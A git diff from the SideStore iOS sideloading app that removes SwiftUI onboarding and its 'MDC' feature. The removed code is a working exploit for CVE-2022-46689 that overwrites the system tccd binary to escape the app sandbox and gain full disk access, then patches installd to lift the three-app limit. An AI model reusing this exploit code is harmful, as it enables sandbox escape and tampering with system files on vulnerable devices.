-	<string>Full access to files on your device is required to apply the installd patch to remove the 3 app limit that free developer accounts have.</string>
-	<!--
-	#endif
-	-->
 </dict>
 </plist>

AltStore/LaunchViewController.swift

@@ -7,7 +7,6 @@
 //
 
 import UIKit
-import SwiftUI
 import Roxas
 import EmotionalDamage
 import minimuxer
@@ -42,49 +41,24 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
     override func viewDidLoad()
     {
         defer {
-            if UnstableFeatures.enabled(.swiftUI) {
+            // Create destinationViewController now so view controllers can register for receiving Notifications.
-                let rootView = RootView()
+            self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
-                    .environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
-                self.destinationViewController = UIHostingController(rootView: rootView)
-            } else {
-                // Create destinationViewController now so view controllers can register for receiving Notifications.
-                self.destinationViewController = self.storyboard!.instantiateViewController(withIdentifier: "tabBarController") as! TabBarController
-            }
         }
         super.viewDidLoad()
     }
     
     override func viewDidAppear(_ animated: Bool) {
         super.viewDidAppear(true)
-
-        #if MDC
-        MDC.alertIfNotPatched()
-        #endif
-        
         #if !targetEnvironment(simulator)
-        if UnstableFeatures.enabled(.onboarding) && !UserDefaults.standard.onboardingComplete {
-            self.showOnboarding()
-            return
-        }
-
         start_em_proxy(bind_addr: Consts.Proxy.serverURL)
         
         guard let pf = fetchPairingFile() else {
-            self.showOnboarding(enabledSteps: [.pairing])
+            displayError("Device pairing file not found.")
             return
         }
         start_minimuxer_threads(pf)
         #endif
     }
-
-    func showOnboarding(enabledSteps: [OnboardingStep] = OnboardingStep.allCases) {
-        let onboardingView = OnboardingView(onDismiss: { self.dismiss(animated: true) }, enabledSteps: enabledSteps)
-            .environment(\.managedObjectContext, DatabaseManager.shared.viewContext)
-        let navigationController = UINavigationController(rootViewController: UIHostingController(rootView: onboardingView))
-        navigationController.isNavigationBarHidden = true
-        navigationController.isModalInPresentation = true
-        self.present(navigationController, animated: true)
-    }
     
     func fetchPairingFile() -> String? {
         let filename = "ALTPairingFile.mobiledevicepairing"
@@ -104,8 +78,31 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
         } else if let plistString = Bundle.main.object(forInfoDictionaryKey: "ALTPairingFile") as? String, !plistString.isEmpty, !plistString.contains("insert pairing file here"){
             print("Loaded ALTPairingFile from Info.plist")
             return plistString
+        } else {
+            // Show an alert explaining the pairing file
+            // Create new Alert
+            let dialogMessage = UIAlertController(title: "Pairing File", message: "Select the pairing file for your device. For more information, go to https://wiki.sidestore.io/guides/getting-started/#pairing-file", preferredStyle: .alert)
+            
+            // Create OK button with action handler
+            let ok = UIAlertAction(title: "OK", style: .default, handler: { (action) -> Void in
+                // Try to load it from a file picker
+                var types = UTType.types(tag: "plist", tagClass: UTTagClass.filenameExtension, conformingTo: nil)
+                types.append(contentsOf: UTType.types(tag: "mobiledevicepairing", tagClass: UTTagClass.filenameExtension, conformingTo: UTType.data))
+                types.append(.xml)
+                let documentPickerController = UIDocumentPickerViewController(forOpeningContentTypes: types)
+                documentPickerController.shouldShowFileExtensions = true
+                documentPickerController.delegate = self
+                self.present(documentPickerController, animated: true, completion: nil)
+             })
+            
+            //Add OK button to a dialog message
+            dialogMessage.addAction(ok)
+
+            // Present Alert to
+            self.present(dialogMessage, animated: true, completion: nil)
+
+            return nil
         }
-        return nil
     }
 
     func displayError(_ msg: String) {
@@ -156,10 +153,14 @@ final class LaunchViewController: RSTLaunchViewController, UIDocumentPickerDeleg
             try start(pairing_file, documentsDirectory)
         } catch {
             try! FileManager.default.removeItem(at: FileManager.default.documentsDirectory.appendingPathComponent("\(pairingFileName)"))
-            displayError("minimuxer failed to start, please restart SideStore. \(error.message())")
+            displayError("minimuxer failed to start, please restart SideStore. \((error as? LocalizedError)?.failureReason ?? "UNKNOWN ERROR!!!!!! REPORT TO GITHUB ISSUES!")")
+        }
+        if #available(iOS 17, *) {
+            // TODO: iOS 17 and above have a new JIT implementation that is completely broken in SideStore :(
+        }
+        else {
+            start_auto_mounter(documentsDirectory)
         }
-        set_debug(UserDefaults.shared.isDebugLoggingEnabled)
-        start_auto_mounter(documentsDirectory)
     }
 }
 

AltStore/MDC/MDC+AltStore.swift

@@ -1,177 +0,0 @@
-// Extension of MDC+AltStoreCore for the functionality AltStore uses
-// The only reason we can't have it all in AltStore is because AltStoreCore requires one variable of MDC to determine the free app limit
-
-import Foundation
-import AltStoreCore
-
-extension MDC {
-    #if MDC
-    enum PatchError: LocalizedError {
-        case NoFDA(error: String)
-        case FailedPatchd
-        
-        var failureReason: String? {
-            switch (self) {
-            case .NoFDA(let error): return L10n.Remove3AppLimitView.Errors.noFDA(error)
-            case .FailedPatchd: return L10n.Remove3AppLimitView.Errors.failedPatchd
-            }
-        }
-    }
-    
-    static func patch3AppLimit() async throws {
-        #if !targetEnvironment(simulator)
-        let res: PatchError? = await withCheckedContinuation { continuation in
-            grant_full_disk_access { error in
-                if let error = error {
-                    continuation.resume(returning: PatchError.NoFDA(error: error.message()))
-                } else if !patch_installd() {
-                    continuation.resume(returning: PatchError.FailedPatchd)
-                } else {
-                    continuation.resume(returning: nil)
-                }
-            }
-        }
-        if let error = res {
-            throw error
-        }
-        #else
-        print("The patch would be running right now if you weren't using a simulator. It will stop \"running\" in 3 seconds.")
-        try await Task.sleep(nanoseconds: UInt64(3 * Double(NSEC_PER_SEC)))
-//        throw MDC.PatchError.NoFDA(error: "This is a test error")
-        #endif
-        
-        UserDefaults.shared.lastInstalldPatchBootTime = bootTime()
-        UserDefaults.shared.hasPatchedInstalldEver = true
-    }
-    
-    static func alertIfNotPatched() {
-        guard UserDefaults.shared.hasPatchedInstalldEver && !installdHasBeenPatched && isSupported else { return }
-        
-        UIApplication.alert(
-            title: L10n.Remove3AppLimitView.title,
-            message: L10n.Remove3AppLimitView.NotAppliedAlert.message,
-            leftButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.apply, action: { _ in
-                Task {
-                    do {
-                        try await MDC.patch3AppLimit()
-                        
-                        await UIApplication.alert(
-                            title: L10n.Remove3AppLimitView.success
-                        )
-                    } catch {
-                        await UIApplication.alert(
-                            title: L10n.AsyncFallibleButton.error,
-                            message: error.message()
-                        )
-                    }
-                }
-            }),
-            rightButton: (text: L10n.Remove3AppLimitView.NotAppliedAlert.continueWithout, action: nil)
-        )
-    }
-    #endif
-    
-    private static let ios15 = OperatingSystemVersion(majorVersion: 15, minorVersion: 0, patchVersion: 0) // supported
-    private static let ios15_7_2 = OperatingSystemVersion(majorVersion: 15, minorVersion: 7, patchVersion: 2) // fixed
-    
-    private static let ios16 = OperatingSystemVersion(majorVersion: 16, minorVersion: 0, patchVersion: 0) // supported
-    private static let ios16_2 = OperatingSystemVersion(majorVersion: 16, minorVersion: 2, patchVersion: 0) // fixed
-    
-    static var isSupported: Bool {
-        #if targetEnvironment(simulator)
-        true
-        #else
-        (ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios15_7_2)) ||
-        (ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16) && !ProcessInfo.processInfo.isOperatingSystemAtLeast(ios16_2))
-        #endif
-    }
-}
-
-#if MDC
-// enum WhitelistPatchResult {
-//     case success, failure
-// }
-//
-// let blankplist = "PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPCFET0NUWVBFIHBsaXN0IFBVQkxJQyAiLS8vQXBwbGUvL0RURCBQTElTVCAxLjAvL0VOIiAiaHR0cDovL3d3dy5hcHBsZS5jb20vRFREcy9Qcm9wZXJ0eUxpc3QtMS4wLmR0ZCI+CjxwbGlzdCB2ZXJzaW9uPSIxLjAiPgo8ZGljdC8+CjwvcGxpc3Q+Cg=="
-//
-// func patchWhiteList() {
-//    overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedUpps.plist", replacementData: try! Data(base64Encoded: blankplist)!)
-//    overwriteFileData(originPath: "/private/var/db/MobileIdentityData/AuthListBannedCdHashes.plist", replacementData: try! Data(base64Encoded: blankplist)!)
-//    overwriteFileData(originPath: "/private/var/db/MobileIdentityData/Rejections.plist", replacementData: try! Data(base64Encoded: blankplist)!)
-// }
-//
-// func overwriteFileData(originPath: String, replacementData: Data) -> Bool {
-//    #if false
-//        let documentDirectory = FileManager.default.urls(
-//            for: .documentDirectory,
-//            in: .userDomainMask
-//        )[0].path
-//
-//        let pathToRealTarget = originPath
-//        let originPath = documentDirectory + originPath
-//        let origData = try! Data(contentsOf: URL(fileURLWithPath: pathToRealTarget))
-//        try! origData.write(to: URL(fileURLWithPath: originPath))
-//    #endif
-//
-//    // open and map original font
-//    let fd = open(originPath, O_RDONLY | O_CLOEXEC)
-//    if fd == -1 {
-//        print("Could not open target file")
-//        return false
-//    }
-//    defer { close(fd) }
-//    // check size of font
-//    let originalFileSize = lseek(fd, 0, SEEK_END)
-//    guard originalFileSize >= replacementData.count else {
-//        print("Original file: \(originalFileSize)")
-//        print("Replacement file: \(replacementData.count)")
-//        print("File too big!")
-//        return false
-//    }
-//    lseek(fd, 0, SEEK_SET)
-//
-//    // Map the font we want to overwrite so we can mlock it
-//    let fileMap = mmap(nil, replacementData.count, PROT_READ, MAP_SHARED, fd, 0)
-//    if fileMap == MAP_FAILED {
-//        print("Failed to map")
-//        return false
-//    }
-//    // mlock so the file gets cached in memory
-//    guard mlock(fileMap, replacementData.count) == 0 else {
-//        print("Failed to mlock")
-//        return true
-//    }
-//
-//    // for every 16k chunk, rewrite
-//    print(Date())
-//    for chunkOff in stride(from: 0, to: replacementData.count, by: 0x4000) {
-//        print(String(format: "%lx", chunkOff))
-//        let dataChunk = replacementData[chunkOff..<min(replacementData.count, chunkOff + 0x4000)]
-//        var overwroteOne = false
-//        for _ in 0..<2 {
-//            let overwriteSucceeded = dataChunk.withUnsafeBytes { dataChunkBytes in
-//                unalign_csr(
-//                    fd, Int64(chunkOff), dataChunkBytes.baseAddress, dataChunkBytes.count
-//                )
-//            }
-//            if overwriteSucceeded {
-//                overwroteOne = true
-//                print("Successfully overwrote!")
-//                break
-//            }
-//            print("try again?!")
-//        }
-//        guard overwroteOne else {
-//            print("Failed to overwrite")
-//            return false
-//        }
-//    }
-//    print(Date())
-//    print("Successfully overwrote!")
-//    return true
-// }
-//
-// func readFile(path: String) -> String? {
-//    return (try? String?(String(contentsOfFile: path)) ?? "ERROR: Could not read from file! Are you running in the simulator or not unsandboxed?")
-// }
-#endif

AltStore/MDC/MDC+AltStoreCore.swift

@@ -1,33 +0,0 @@
-//
-//  MDC+AltStoreCore.swift
-//  AltStoreCore
-//
-//  Created by naturecodevoid on 5/31/23.
-//  Copyright © 2023 SideStore. All rights reserved.
-//
-
-import Foundation
-
-// Parts of MDC we need in AltStoreCore
-// TODO: destroy AltStoreCore
-
-public class MDC {
-    #if MDC
-    public static var installdHasBeenPatched: Bool {
-        guard let lastInstalldPatchBootTime = UserDefaults.shared.lastInstalldPatchBootTime else { return false }
-        return lastInstalldPatchBootTime == bootTime()
-    }
-    #endif
-}
-
-#if MDC
-public func bootTime() -> Date? {
-    var tv = timeval()
-    var tvSize = MemoryLayout<timeval>.size
-    let err = sysctlbyname("kern.boottime", &tv, &tvSize, nil, 0)
-    guard err == 0, tvSize == MemoryLayout<timeval>.size else {
-        return nil
-    }
-    return Date(timeIntervalSince1970: Double(tv.tv_sec) + Double(tv.tv_usec) / 1_000_000.0)
-}
-#endif

AltStore/MDC/Remove3AppLimitView.swift

@@ -1,99 +0,0 @@
-//
-//  Remove3AppLimitView.swift
-//  SideStore
-//
-//  Created by naturecodevoid on 5/29/23.
-//  Copyright © 2023 SideStore. All rights reserved.
-//
-
-#if MDC
-import SwiftUI
-import AltStoreCore
-
-fileprivate extension View {
-    func common() -> some View {
-        self
-            .padding()
-            .transition(.opacity.animation(.linear))
-    }
-}
-
-struct Remove3AppLimitView: View {
-    @ObservedObject private var iO = Inject.observer
-    
-    @State var runningPatch = false
-    @State private var showErrorAlert = false
-    @State private var errorAlertMessage = ""
-    @State private var showSuccessAlert = false
-    
-    @ViewBuilder
-    private var notSupported: some View {
-        Text(L10n.Remove3AppLimitView.notSupported)
-    }
-    
-    @ViewBuilder
-    private var installdHasBeenPatched: some View {
-        Text(L10n.Remove3AppLimitView.alreadyPatched)
-        Text(L10n.Remove3AppLimitView.tenAppsInfo)
-    }
-    
-    @ViewBuilder
-    private var applyPatch: some View {
-        Text(L10n.Remove3AppLimitView.patchInfo)
-        Text(L10n.Remove3AppLimitView.tenAppsInfo)
-    }
-    
-    var body: some View {
-        VStack {
-            if !MDC.isSupported {
-                notSupported.common()
-            } else {
-                if MDC.installdHasBeenPatched {
-                    installdHasBeenPatched.common()
-                } else {
-                    applyPatch.common()
-                    SwiftUI.Button(action: {
-                        Task {
-                            do {
-                                guard !runningPatch else { return }
-                                runningPatch = true
-                                
-                                try await MDC.patch3AppLimit()
-                                
-                                showSuccessAlert = true
-                            } catch {
-                                errorAlertMessage = error.message()
-                                showErrorAlert = true
-                            }
-                            runningPatch = false
-                        }
-                    }) { Text(L10n.Remove3AppLimitView.applyPatch) }
-                    .buttonStyle(FilledButtonStyle(isLoading: runningPatch, hideLabelOnLoading: false))
-                    .padding()
-                }
-            }
-            Spacer()
-        }
-        .alert(isPresented: $showErrorAlert) {
-            Alert(
-                title: Text(L10n.AsyncFallibleButton.error),
-                message: Text(errorAlertMessage)
-            )
-        }
-        .alert(isPresented: $showSuccessAlert) {
-            Alert(
-                title: Text(L10n.Action.success),
-                message: Text(L10n.Remove3AppLimitView.success)
-            )
-        }
-        .navigationTitle(L10n.Remove3AppLimitView.title)
-        .enableInjection()
-    }
-}
-
-struct Remove3AppLimitView_Previews: PreviewProvider {
-    static var previews: some View {
-        Remove3AppLimitView()
-    }
-}
-#endif

AltStore/MDC/grant_full_disk_access.h

@@ -1,8 +0,0 @@
-#ifdef MDC
-#pragma once
-@import Foundation;
-
-/// Uses CVE-2022-46689 to grant the current app read/write access outside the sandbox.
-void grant_full_disk_access(void (^_Nonnull completion)(NSError* _Nullable));
-bool patch_installd(void);
-#endif /* MDC */

AltStore/MDC/grant_full_disk_access.m

@@ -1,612 +0,0 @@
-#ifdef MDC
-@import Darwin;
-@import Foundation;
-@import MachO;
-
-#import <mach-o/fixup-chains.h>
-// you'll need helpers.m from Ian Beer's write_no_write and vm_unaligned_copy_switch_race.m from
-// WDBFontOverwrite
-// Also, set an NSAppleMusicUsageDescription in Info.plist (can be anything)
-// Please don't call this code on iOS 14 or below
-// (This temporarily overwrites tccd, and on iOS 14 and above changes do not revert on reboot)
-#import "grant_full_disk_access.h"
-#import "helpers.h"
-#import "vm_unaligned_copy_switch_race.h"
-
-typedef NSObject* xpc_object_t;
-typedef xpc_object_t xpc_connection_t;
-typedef void (^xpc_handler_t)(xpc_object_t object);
-xpc_object_t xpc_dictionary_create(const char* const _Nonnull* keys,
-                                   xpc_object_t _Nullable const* values, size_t count);
-xpc_connection_t xpc_connection_create_mach_service(const char* name, dispatch_queue_t targetq,
-                                                    uint64_t flags);
-void xpc_connection_set_event_handler(xpc_connection_t connection, xpc_handler_t handler);
-void xpc_connection_resume(xpc_connection_t connection);
-void xpc_connection_send_message_with_reply(xpc_connection_t connection, xpc_object_t message,
-                                            dispatch_queue_t replyq, xpc_handler_t handler);
-xpc_object_t xpc_connection_send_message_with_reply_sync(xpc_connection_t connection,
-                                                         xpc_object_t message);
-xpc_object_t xpc_bool_create(bool value);
-xpc_object_t xpc_string_create(const char* string);
-xpc_object_t xpc_null_create(void);
-const char* xpc_dictionary_get_string(xpc_object_t xdict, const char* key);
-
-int64_t sandbox_extension_consume(const char* token);
-
-// MARK: - patchfind
-
-struct grant_full_disk_access_offsets {
-    uint64_t offset_addr_s_com_apple_tcc_;
-    uint64_t offset_padding_space_for_read_write_string;
-    uint64_t offset_addr_s_kTCCServiceMediaLibrary;
-    uint64_t offset_auth_got__sandbox_init;
-    uint64_t offset_just_return_0;
-    bool is_arm64e;
-};
-
-static bool patchfind_sections(void* executable_map,
-                               struct segment_command_64** data_const_segment_out,
-                               struct symtab_command** symtab_out,
-                               struct dysymtab_command** dysymtab_out) {
-    struct mach_header_64* executable_header = executable_map;
-    struct load_command* load_command = executable_map + sizeof(struct mach_header_64);
-    for (int load_command_index = 0; load_command_index < executable_header->ncmds;
-         load_command_index++) {
-        switch (load_command->cmd) {
-            case LC_SEGMENT_64: {
-                struct segment_command_64* segment = (struct segment_command_64*)load_command;
-                if (strcmp(segment->segname, "__DATA_CONST") == 0) {
-                    *data_const_segment_out = segment;
-                }
-                break;
-            }
-            case LC_SYMTAB: {
-                *symtab_out = (struct symtab_command*)load_command;
-                break;
-            }
-            case LC_DYSYMTAB: {
-                *dysymtab_out = (struct dysymtab_command*)load_command;
-                break;
-            }
-        }
-        load_command = ((void*)load_command) + load_command->cmdsize;
-    }
-    return true;
-}
-
-static uint64_t patchfind_get_padding(struct segment_command_64* segment) {
-    struct section_64* section_array = ((void*)segment) + sizeof(struct segment_command_64);
-    struct section_64* last_section = &section_array[segment->nsects - 1];
-    return last_section->offset + last_section->size;
-}
-
-static uint64_t patchfind_pointer_to_string(void* executable_map, size_t executable_length,
-                                            const char* needle) {
-    void* str_offset = memmem(executable_map, executable_length, needle, strlen(needle) + 1);
-    if (!str_offset) {
-        return 0;
-    }
-    uint64_t str_file_offset = str_offset - executable_map;
-    for (int i = 0; i < executable_length; i += 8) {
-        uint64_t val = *(uint64_t*)(executable_map + i);
-        if ((val & 0xfffffffful) == str_file_offset) {
-            return i;
-        }
-    }
-    return 0;
-}
-
-static uint64_t patchfind_return_0(void* executable_map, size_t executable_length) {
-    // TCCDSyncAccessAction::sequencer
-    // mov x0, #0
-    // ret
-    static const char needle[] = {0x00, 0x00, 0x80, 0xd2, 0xc0, 0x03, 0x5f, 0xd6};
-    void* offset = memmem(executable_map, executable_length, needle, sizeof(needle));
-    if (!offset) {
-        return 0;
-    }
-    return offset - executable_map;
-}
-
-static uint64_t patchfind_got(void* executable_map, size_t executable_length,
-                              struct segment_command_64* data_const_segment,
-                              struct symtab_command* symtab_command,
-                              struct dysymtab_command* dysymtab_command,
-                              const char* target_symbol_name) {
-    uint64_t target_symbol_index = 0;
-    for (int sym_index = 0; sym_index < symtab_command->nsyms; sym_index++) {
-        struct nlist_64* sym =
-        ((struct nlist_64*)(executable_map + symtab_command->symoff)) + sym_index;
-        const char* sym_name = executable_map + symtab_command->stroff + sym->n_un.n_strx;
-        if (strcmp(sym_name, target_symbol_name)) {
-            continue;
-        }
-        // printf("%d %llx\n", sym_index, (uint64_t)(((void*)sym) - executable_map));
-        target_symbol_index = sym_index;
-        break;
-    }
-    
-    struct section_64* section_array =
-    ((void*)data_const_segment) + sizeof(struct segment_command_64);
-    struct section_64* first_section = &section_array[0];
-    if (!(strcmp(first_section->sectname, "__auth_got") == 0 ||
-          strcmp(first_section->sectname, "__got") == 0)) {
-        return 0;
-    }
-    uint32_t* indirect_table = executable_map + dysymtab_command->indirectsymoff;
-    
-    for (int i = 0; i < first_section->size; i += 8) {
-        uint64_t val = *(uint64_t*)(executable_map + first_section->offset + i);
-        uint64_t indirect_table_entry = (val & 0xfffful);
-        if (indirect_table[first_section->reserved1 + indirect_table_entry] == target_symbol_index) {
-            return first_section->offset + i;
-        }
-    }
-    return 0;
-}
-
-static bool patchfind(void* executable_map, size_t executable_length,
-                      struct grant_full_disk_access_offsets* offsets) {
-    struct segment_command_64* data_const_segment = nil;
-    struct symtab_command* symtab_command = nil;
-    struct dysymtab_command* dysymtab_command = nil;
-    if (!patchfind_sections(executable_map, &data_const_segment, &symtab_command,
-                            &dysymtab_command)) {
-        printf("no sections\n");
-        return false;
-    }
-    if ((offsets->offset_addr_s_com_apple_tcc_ =
-         patchfind_pointer_to_string(executable_map, executable_length, "com.apple.tcc.")) == 0) {
-        printf("no com.apple.tcc. string\n");
-        return false;
-    }
-    if ((offsets->offset_padding_space_for_read_write_string =
-         patchfind_get_padding(data_const_segment)) == 0) {
-        printf("no padding\n");
-        return false;
-    }
-    if ((offsets->offset_addr_s_kTCCServiceMediaLibrary = patchfind_pointer_to_string(
-                                                                                      executable_map, executable_length, "kTCCServiceMediaLibrary")) == 0) {
-                                                                                          printf("no kTCCServiceMediaLibrary string\n");
-                                                                                          return false;
-                                                                                      }
-    if ((offsets->offset_auth_got__sandbox_init =
-         patchfind_got(executable_map, executable_length, data_const_segment, symtab_command,
-                       dysymtab_command, "_sandbox_init")) == 0) {
-        printf("no sandbox_init\n");
-        return false;
-    }
-    if ((offsets->offset_just_return_0 = patchfind_return_0(executable_map, executable_length)) ==
-        0) {
-        printf("no just return 0\n");
-        return false;
-    }
-    struct mach_header_64* executable_header = executable_map;
-    offsets->is_arm64e = (executable_header->cpusubtype & ~CPU_SUBTYPE_MASK) == CPU_SUBTYPE_ARM64E;
-    
-    return true;
-}
-
-// MARK: - tccd patching
-
-static void call_tccd(void (^completion)(NSString* _Nullable extension_token)) {
-    // reimplmentation of TCCAccessRequest, as we need to grab and cache the sandbox token so we can
-    // re-use it until next reboot.
-    // Returns the sandbox token if there is one, or nil if there isn't one.
-    xpc_connection_t connection = xpc_connection_create_mach_service(
-                                                                     "com.apple.tccd", dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0), 0);
-    xpc_connection_set_event_handler(connection, ^(xpc_object_t object) {
-        NSLog(@"xpc event handler: %@", object);
-    });
-    xpc_connection_resume(connection);
-    const char* keys[] = {
-        "TCCD_MSG_ID",  "function",           "service", "require_purpose", "preflight",
-        "target_token", "background_session",
-    };
-    xpc_object_t values[] = {
-        xpc_string_create("17087.1"),
-        xpc_string_create("TCCAccessRequest"),
-        xpc_string_create("com.apple.app-sandbox.read-write"),
-        xpc_null_create(),
-        xpc_bool_create(false),
-        xpc_null_create(),
-        xpc_bool_create(false),
-    };
-    xpc_object_t request_message = xpc_dictionary_create(keys, values, sizeof(keys) / sizeof(*keys));
-#if 0
-    xpc_object_t response_message = xpc_connection_send_message_with_reply_sync(connection, request_message);
-    NSLog(@"%@", response_message);
-    
-#endif
-    xpc_connection_send_message_with_reply(
-                                           connection, request_message, dispatch_get_global_queue(QOS_CLASS_USER_INITIATED, 0),
-                                           ^(xpc_object_t object) {
-                                               if (!object) {
-                                                   NSLog(@"object is nil???");
-                                                   completion(nil);
-                                                   return;
-                                               }
-                                               NSLog(@"response: %@", object);
-                                               if ([object isKindOfClass:NSClassFromString(@"OS_xpc_error")]) {
-                                                   NSLog(@"xpc error?");
-                                                   completion(nil);
-                                                   return;
-                                               }
-                                               NSLog(@"debug description: %@", [object debugDescription]);
-                                               const char* extension_string = xpc_dictionary_get_string(object, "extension");
-                                               NSString* extension_nsstring =
-                                               extension_string ? [NSString stringWithUTF8String:extension_string] : nil;
-                                               completion(extension_nsstring);
-                                           });
-}
-
-static NSData* patchTCCD(void* executableMap, size_t executableLength) {
-    struct grant_full_disk_access_offsets offsets = {};
-    if (!patchfind(executableMap, executableLength, &offsets)) {
-        return nil;
-    }
-    
-    NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
-    // strcpy(data.mutableBytes, "com.apple.app-sandbox.read-write", sizeOfStr);
-    char* mutableBytes = data.mutableBytes;
-    {
-        // rewrite com.apple.tcc. into blank string
-        *(uint64_t*)(mutableBytes + offsets.offset_addr_s_com_apple_tcc_ + 8) = 0;
-    }
-    {
-        // make offset_addr_s_kTCCServiceMediaLibrary point to "com.apple.app-sandbox.read-write"
-        // we need to stick this somewhere; just put it in the padding between
-        // the end of __objc_arrayobj and the end of __DATA_CONST
-        strcpy((char*)(data.mutableBytes + offsets.offset_padding_space_for_read_write_string),
-               "com.apple.app-sandbox.read-write");
-        struct dyld_chained_ptr_arm64e_rebase targetRebase =
-        *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
-                                                  offsets.offset_addr_s_kTCCServiceMediaLibrary);
-        targetRebase.target = offsets.offset_padding_space_for_read_write_string;
-        *(struct dyld_chained_ptr_arm64e_rebase*)(mutableBytes +
-                                                  offsets.offset_addr_s_kTCCServiceMediaLibrary) =
-        targetRebase;
-        *(uint64_t*)(mutableBytes + offsets.offset_addr_s_kTCCServiceMediaLibrary + 8) =
-        strlen("com.apple.app-sandbox.read-write");
-    }
-    if (offsets.is_arm64e) {
-        // make sandbox_init call return 0;
-        struct dyld_chained_ptr_arm64e_auth_rebase targetRebase = {
-            .auth = 1,
-            .bind = 0,
-            .next = 1,
-            .key = 0,  // IA
-            .addrDiv = 1,
-            .diversity = 0,
-            .target = offsets.offset_just_return_0,
-        };
-        *(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
-                                                       offsets.offset_auth_got__sandbox_init) =
-        targetRebase;
-    } else {
-        // make sandbox_init call return 0;
-        struct dyld_chained_ptr_64_rebase targetRebase = {
-            .bind = 0,
-            .next = 2,
-            .target = offsets.offset_just_return_0,
-        };
-        *(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.offset_auth_got__sandbox_init) =
-        targetRebase;
-    }
-    return data;
-}
-
-static bool overwrite_file(int fd, NSData* sourceData) {
-    for (int off = 0; off < sourceData.length; off += 0x4000) {
-        bool success = false;
-        for (int i = 0; i < 2; i++) {
-            if (unaligned_copy_switch_race(
-                                           fd, off, sourceData.bytes + off,
-                                           off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
-                                               success = true;
-                                               break;
-                                           }
-        }
-        if (!success) {
-            return false;
-        }
-    }
-    return true;
-}
-
-static void grant_full_disk_access_impl(void (^completion)(NSString* extension_token,
-                                                           NSError* _Nullable error)) {
-    char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
-    int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
-    if (fd == -1) {
-        // iOS 15.3 and below
-        targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
-        fd = open(targetPath, O_RDONLY | O_CLOEXEC);
-    }
-    off_t targetLength = lseek(fd, 0, SEEK_END);
-    lseek(fd, 0, SEEK_SET);
-    void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
-    
-    NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
-    NSData* sourceData = patchTCCD(targetMap, targetLength);
-    if (!sourceData) {
-        completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
-                                            code:5
-                                        userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
-        return;
-    }
-    
-    if (!overwrite_file(fd, sourceData)) {
-        overwrite_file(fd, originalData);
-        munmap(targetMap, targetLength);
-        completion(
-                   nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
-                                            code:1
-                                        userInfo:@{
-                    NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
-                    @"not be vulnerable to CVE-2022-46689."
-                   }]);
-        return;
-    }
-    munmap(targetMap, targetLength);
-    
-    xpc_crasher("com.apple.tccd");
-    sleep(1);
-    call_tccd(^(NSString* _Nullable extension_token) {
-        overwrite_file(fd, originalData);
-        xpc_crasher("com.apple.tccd");
-        NSError* returnError = nil;
-        if (extension_token == nil) {
-            returnError =
-            [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
-                                code:2
-                            userInfo:@{
-                NSLocalizedDescriptionKey : @"tccd did not return an extension token."
-            }];
-        } else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
-            returnError = [NSError
-                           errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
-                           code:3
-                           userInfo:@{
-                NSLocalizedDescriptionKey : @"tccd patch failed: returned a media library token "
-                @"instead of an app sandbox token."
-            }];
-            extension_token = nil;
-        }
-        completion(extension_token, returnError);
-    });
-}
-
-void grant_full_disk_access(void (^completion)(NSError* _Nullable)) {
-    if (!NSClassFromString(@"NSPresentationIntent")) {
-        // class introduced in iOS 15.0.
-        // TODO(zhuowei): maybe check the actual OS version instead?
-        completion([NSError
-                    errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
-                    code:6
-                    userInfo:@{
-            NSLocalizedDescriptionKey :
-                @"Not supported on iOS 14 and below: on iOS 14 the system partition is not "
-            @"reverted after reboot, so running this may permanently corrupt tccd."
-        }]);
-        return;
-    }
-    NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
-                                                                    inDomains:NSUserDomainMask][0];
-    NSURL* sourceURL =
-    [documentDirectory URLByAppendingPathComponent:@"full_disk_access_sandbox_token.txt"];
-    NSError* error = nil;
-    NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
-                                                     encoding:NSUTF8StringEncoding
-                                                        error:&error];
-    if (cachedToken) {
-        int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
-        if (handle > 0) {
-            // cached version worked
-            completion(nil);
-            return;
-        }
-    }
-    grant_full_disk_access_impl(^(NSString* extension_token, NSError* _Nullable error) {
-        if (error) {
-            completion(error);
-            return;
-        }
-        int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
-        if (handle <= 0) {
-            completion([NSError
-                        errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
-                        code:4
-                        userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
-            return;
-        }
-        [extension_token writeToURL:sourceURL
-                         atomically:true
-                           encoding:NSUTF8StringEncoding
-                              error:&error];
-        completion(nil);
-    });
-}
-
-/// MARK - installd patch
-
-struct installd_remove_app_limit_offsets {
-    uint64_t offset_objc_method_list_t_MIInstallableBundle;
-    uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
